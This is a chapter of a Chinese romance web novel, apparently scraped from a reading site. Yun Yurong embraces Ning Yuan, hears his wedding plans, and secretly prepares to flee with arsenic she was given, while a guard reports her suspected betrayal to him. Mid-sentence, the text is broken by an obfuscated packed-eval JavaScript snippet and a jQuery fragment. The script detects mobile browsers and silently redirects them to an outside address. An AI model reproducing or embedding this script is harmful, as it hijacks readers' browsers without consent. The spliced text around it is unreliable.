77. 抱一抱

作品:《娇花解语

    宁渊把云语容带回了玉施院,雪素和韶花在屋里等着伺候,雪素将云语容请入盥室,里面准备好了沐浴香汤。


    云语容将身子浸入热水,雪素站在木桶旁帮她挽着长发,说:“这五香汤不仅好闻,用它泡澡还有养生的功效呢。”


    云语容出门吹了一天冷风,又冷又乏,这会儿被香汤一泡,每个毛孔都觉得温暖舒适,眉心也跟着舒展了,道:“还是雪素贴心,这香汤准备得恰到好处。”


    雪素笑道:“是公子回家后让我们备下的,不是奴婢贴心,是公子贴心。”


    “是他?”云语容靠在桶壁,默默想起心事。


    她去天牢这事提前和他打过招呼,所以他就特意备下香汤,是为了洗去在天牢沾染的晦气呢,还是因为她见过唐月度,他不喜欢?


    他答应了她不避讳唐月度,所以就算他不喜欢,也会给她自由。他不愿意她和唐月度见面,为何不直接告诉她?是不是怕她多心?


    泡澡后,云语容换好衣服,走到卧室。


    宁渊束手站在屋中,一直望着云语容,云语容被他看得不自在,低头确认衣服是整齐穿好的,领口也没有松开,问:“你怎么了,一直看着我?”


    宁渊没头没脑的说了句:“可以。”摊开双手,“你想怎么抱都可以。”


    云语容噗嗤一声笑出来,她在里面泡了半个时辰,他还一直惦记着这事,一直在等着她?


    “哥哥准备好了吗?”她红着脸,笑着问。


    “嗯。”宁渊认真的回答,长身玉立,等待着她的靠近。


    云语容朝他走过去,她穿了一双轻便的软底云履,鞋底踏在地面,那坚硬平实的地面好像在翻转,让她感到一阵眩晕。


    迎着他的目光,像是在逆光而行,又像逆流前进,她好像和他第一次见面。


    她的手臂箍住他的腰,上身贴着他的胸襟,他站得笔直稳妥,什么都没有做,她却感觉到了酥酥麻麻。


    “我今天没有去见唐月度,是因为我不喜欢他。”她向他解释道,“他心胸狭隘,心术不正,害惨了你,不仅哥哥不喜欢他,我也是。”


    听见她吐露心扉,宁渊揉了揉她的后脑,道:“容儿疼我。”


    他用力抱了抱她,把她带到了桌边。桌面摆着一张红笺,他信笔一挥,留下几行黑亮的墨迹,写的是他二人的生辰八字。


    小时候两家打算结娃娃亲,合过他们的八字,所以宁渊知道她的生辰,随手就写了出来。


    他与她并肩而坐,他揽过她靠在自己的肩头,与她依偎,缓缓道:“我打算将婚期定在明年年底,择定吉日后再告诉你。婚典繁琐都交给我,你只需要穿上喜服拜堂。姑父赋闲在家,我已经派人去接他入京小住,过几日等他到了,我再与他商议细节。”


    他不是在同她商量,而是通知她。


    他唇边带着柔和的微笑,黑眸中浮现着喜悦的憧憬,不由得云语容不去想,明年年底她大概已经不在他身边了。


    赵彦星说,她和宁渊只能活一个,让她自己选。


    云语容不愿杀宁渊,也不想被他杀,想来想去,她似乎只剩下一条路可以走,那就是去投奔陆斯臣。


    四皇子和赵彦星知道她的身世,他们能威胁她一次,就能威胁她无数次,她留在宁渊身边总是个隐患,只有远离京城,她身在凉国,四皇子鞭长莫及,她和宁渊才能相安无事。


    只是这样一来,他们后半辈子应当就不会再相见了。


    云语容忽然问他,“如果有一天,我不在你身边了,你会怎么样?”


    “你要走?你不想陪着我了?”宁渊敏锐的问,慌了,她只是去了一趟天牢,回来就说这种话。


    云语容微笑着缓解他的焦虑,“我是说如果。人有生老病死,非人力所能强求,如果有一天我突然不在了,你会照顾好自己吗?”


    宁渊仔细审视她的神情,没有找到讨厌或是疏离的神色,相反她的眼中还有明显的缱绻不舍,他的心慢慢放下来,她不是想离开自己就好。


    他一放松,转念就想起生老病死来,语容还不知道自己体内的毒清除了大半,她常年身怀剧毒,必然请大夫诊断过,知道有伤寿元,恐怕会红颜薄命,因此她就担心起他来。


    但在他看来,等她服下最后一剂碧禾草,她就会痊愈,不仅能长命百岁,还会与他生下孩子,一起抚养长大。


    先前圣上有诏令,找到碧禾草者要主动进献皇帝,宁渊留下私用是要担干系的,他瞒着她自作主张,就是怕她担心,这件事最好永远都不要告诉她。


    宁渊抚摸着她的头发,安慰道:“你放心好了,病痛奈何不了你我,就是阎王爷要你走,我也要把你抢回来。”


    云语容淡笑,伸手探了一下他的额头,道:“这叫病痛奈何不了你?我去黄大夫那里拿药来,你真该好好吃药了。”


    “黄大夫不在家中,别去了。”宁渊把她拉回来,强调道:“我喝过药了。不日就会痊愈。”


    有病就该吃药,他不会拿子嗣开玩笑。


    只不过,云语容服用碧禾草后需要黄大夫亲自照看,调理起来得花上大半个月,眼下黄大夫被召入宫为陛下治病,她短时间内还不能解毒,子嗣的事只能暂且放一放,一切都要等黄大夫回来。


    “你刚沐浴完,留在房里休息,不要出去吹风了。我去忙一会儿就回来陪你。”宁渊从柜中拿出一件貂毛斗篷,披在云语容身上。


    宁渊一走,这屋子里就显得空旷安静了。


    她在屋里踱步,想着离开的事。


    先前萧景瑞为陆斯臣策划逃走的路线,她见过那份地图,知道大致的路线,顺着方向走应该不难。


    她担心的倒不是一路上的安危,而是离开后宁渊的反应。如果他知道她逃去了凉国,会不会追到凉国都城去?


    他若真的追去了,是会求她回来做他的妻子,还是杀了她这个叛国贼之女呢?


    她坐在床头,摸到一段滑软的锦缎,丫鬟们撤走了床上浅蓝色的丝绸被褥,换上一套鹅黄色的绸缎,今晚他们又要共宿在这鸳鸯被中。


    云语容捂住小腹,感受着腹部传来的酸软疼痛,若不是最近他入得凶狠,平常她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151351|157539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也不会留意到这里。


    因为幼年中毒,她伤了身体的根基,别的少女每月都有癸水,而她一次都没有过。


    起初她不甚在意,后来在媚香楼病了,楼中大夫是看惯了女子之症的,把脉后一口断言她这辈子都不会有身孕。


    当时她就灰了心,心想她不能生育,这辈子若嫁人,大概也只能做妾了。


    这么一想,她又觉得,眼前拥有的恩爱只是朝露,总有一天宁渊会想要孩子,到时候他就会娶别的女子为妻。


    一想到将来要和别的女子共事一夫,她就心如刀绞,心想还不如早点离开。这次回宁府,她就没打算长待下去,总归和他是没有结果的。


    她收拾了一些银票和首饰,并赵彦星给的砒霜一起装在盒中。


    **


    宁渊离开玉施院,一径往书房去了,没多久,暗卫寻月尾随着进入房间。


    早在媚香楼时,宁渊就安排了寻月暗中保护云语容,今日云语容去天牢,寻月也在暗处跟随。


    她在茶楼和赵彦星见面瞒不过他的眼睛,寻月本该立刻禀告宁渊,但宁渊一直呆在云语容的房间,他这会儿才有机会禀告。


    寻月刚走进来,还没开口,只见宁渊脸色阴沉,劈头问过来:“她今天见了谁?”


    前两日她对他还是冷淡的,今天出门一趟,回家时就主动扑进他怀里,他抱着她时感觉到她身子怕得发抖。


    她不会无缘无故转变,应当是什么人对她施加了影响。


    “今天在茶馆中私会表小姐的是那赵彦星。”寻月把他听到的对话原模原样学给宁渊听。


    “表小姐说她心向凉国,她是被逼无奈才回到宁府,赵彦星给了表小姐一包毒药,让她伺机加害公子,说除去公子后就送表小姐去凉国。”


    “表小姐答应了。”


    宁渊目光寒得可怕,半晌身体动了动,寻月以为他要出去,下一瞬只见他把桌上的笔墨纸砚全都拂到了地上,摔了个稀烂。


    “她接了那毒药?”


    寻月低声道:“那毒药应该还在表小姐的身上。”


    宁渊觉得眼眶里有什么东西要掉下来,仰着脖子,只是摇头,自言自语:“妹妹不可能害我。”


    “公子……恕属下多嘴一句。”寻月不想挑拨公子和表小姐的关系,但那可是毒药啊,为了公子的安全考虑,宁可信其有,不可信其无。


    寻月道:“想必公子已经收到了线报,陆斯臣早就回到了凉国。我们的人把守各大城门,陆斯臣本是插翅难逃,可他还是跑了。算算日子,他出京的时间恰好是表小姐生病,公子连夜宿在媚香楼的那段时间。”


    “那时公子和表小姐共处一室,表小姐若有心盗取印绶,助陆斯臣过关不是难事。”


    “公子,要不您还是把表小姐送出去吧,实在舍不得,就放在别院里养着……”


    “住口!”宁渊大怒,额头青筋暴起,眼睛里积蓄着风暴,看向寻月,“还不滚,等死?”


    寻月吓了一跳,连忙跪地,认错,“是属下失言,属下这就去领罚。”匆匆出去。